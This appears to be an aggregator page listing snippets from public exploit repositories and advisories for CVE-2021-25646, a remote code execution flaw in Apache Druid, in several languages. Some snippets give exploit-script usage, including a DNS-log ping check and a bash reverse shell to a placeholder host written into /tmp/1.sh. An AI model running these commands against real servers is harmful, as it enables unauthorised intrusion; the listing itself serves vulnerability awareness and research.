CVE-2021-25646-exp

CVE-2021-25646-exp Outil de détection et d'exploitation de la vulnérabilité d'exécution de code à distance Apache druid CVE-2021-25646 Saisissez un nom de domaine ou une adresse IP:port pour effectuer la détection de vulnérabilité. Pour les cibles où une vulnérabilité a été détectée, il est...

CVE-2021-25646

Apache Druid - Exécution de code à distance CVE-2021-25646 par j2ekim Utilisation root@kitploit: python exp.py -u --url -c --command python cve-2021-25646.py -u http://127.0.0.1:8888 -c "ping 5ap7ta.dnslog.cn" Article de reproduction de la vulnérabilité https://www.adminxe.com/2109.html...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Shell inversé comme suit : Écrire le script du shell inversé python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Attribuer les droits d'exécution au script shell python3 CVE-2021-25646.py -...

CVE-2021-25646

CVE-2021-25646 Apache Druid リモートコード実行脆弱性 Wkerスクリプト 作成中... ===================================================================================== まず、Wkerさんのリモートでの回答に感謝します。 スクリプトを作成する目的は練習です。 使用方法 スクリプトはDNSLogを使用して判断し、脆弱性が存在する場合、自動的にdnslogのURLを取得してping操作を実行し、その結果を出力します。...

PocList

Ce projet est temporairement arrêté. En avançant dans les mises à jour ultérieures, j'ai réalisé deux problèmes : premièrement, il semble que ma déclaration concernant la loi sur la cybersécurité dans le dépôt n'ait pas été suffisamment claire, ce qui a entraîné des résultats que je ne souhaitais...

CVE-2021-25646-GUI

CVE-2021-25646-GUI Небольшой demo, реализованный на языке C, частично основан на коде из интернета...

Apache-Druid-CVE-2021-25646-Exploit

Эксплойт RCE Apache Druid CVE-2021-25646 Эксплойт на Python для удаленного выполнения кода Apache Druid через внедрение JavaScript CVE-2021-25646. Описание Этот скрипт использует уязвимость RCE в Apache Druid версии 0.20.1, которая позволяет выполнять произвольный код с помощью специально созданн...

RCE-PoC-CVE-2021-25646

CVE-2021-25646 Preuve de concept Version Go Aperçu Ce dépôt contient une preuve de concept PoC pour CVE-2021-25646, une vulnérabilité critique d'exécution de code à distance dans Apache Druid. L'exploit est écrit en Go et permet une injection de commande interactive via le terminal. Fonctionnalit...

Exploit for CVE-2021-25646

Apache Druid Remote Code Execution CVE-2021-25646 By j2ekim...

Metasploit Wrap-Up

Operations shell Operations and management software make popular targets due to their users typically having elevated privileges across a network. Our own wvu contributed the VMware vRealize Operations vROps Manager SSRF RCE exploit module for the vulnerabilities discovered by security researcher...

Apache Druid Remote Code Execution (CVE-2021-25646)

A remote code execution vulnerability exists in Apache Druid. Successful exploitation of this vulnerability could allow a remote attacker to execute arbitrary code on the affected system...

CVE-2021-25646

creationtimestamp| type| source ---|---|--- 2021-02-05 23:22:52+00:00| published-proof-of-concept| https://t.me/thebugbountyhunter/5128 2021-02-06 07:37:08+00:00| published-proof-of-concept| https://t.me/cKure/3868 2021-02-09 12:30:57+00:00| published-proof-of-concept| https://t.me/reconshell/428...

Exploit for CVE-2021-25646

CVE-2021-25646-GUI A small demo impl...

CVE-2021-25646

CVE-2021-25646 affects Apache Druid where an authenticated user can trigger execution of user-provided JavaScript in certain requests. The root cause is improper validation that enables the server to run code with the Druid server process privileges, potentially compromising the host. Affected ve...

CVE-2021-25646 Authenticated users can override system configurations in their requests which allows them to execute arbitrary code.

Apache Druid includes the ability to execute user-provided JavaScript code embedded in various types of requests. This functionality is intended for use in high-trust environments, and is disabled by default. However, in Druid 0.20.0 and earlier, it is possible for an authenticated user to send a...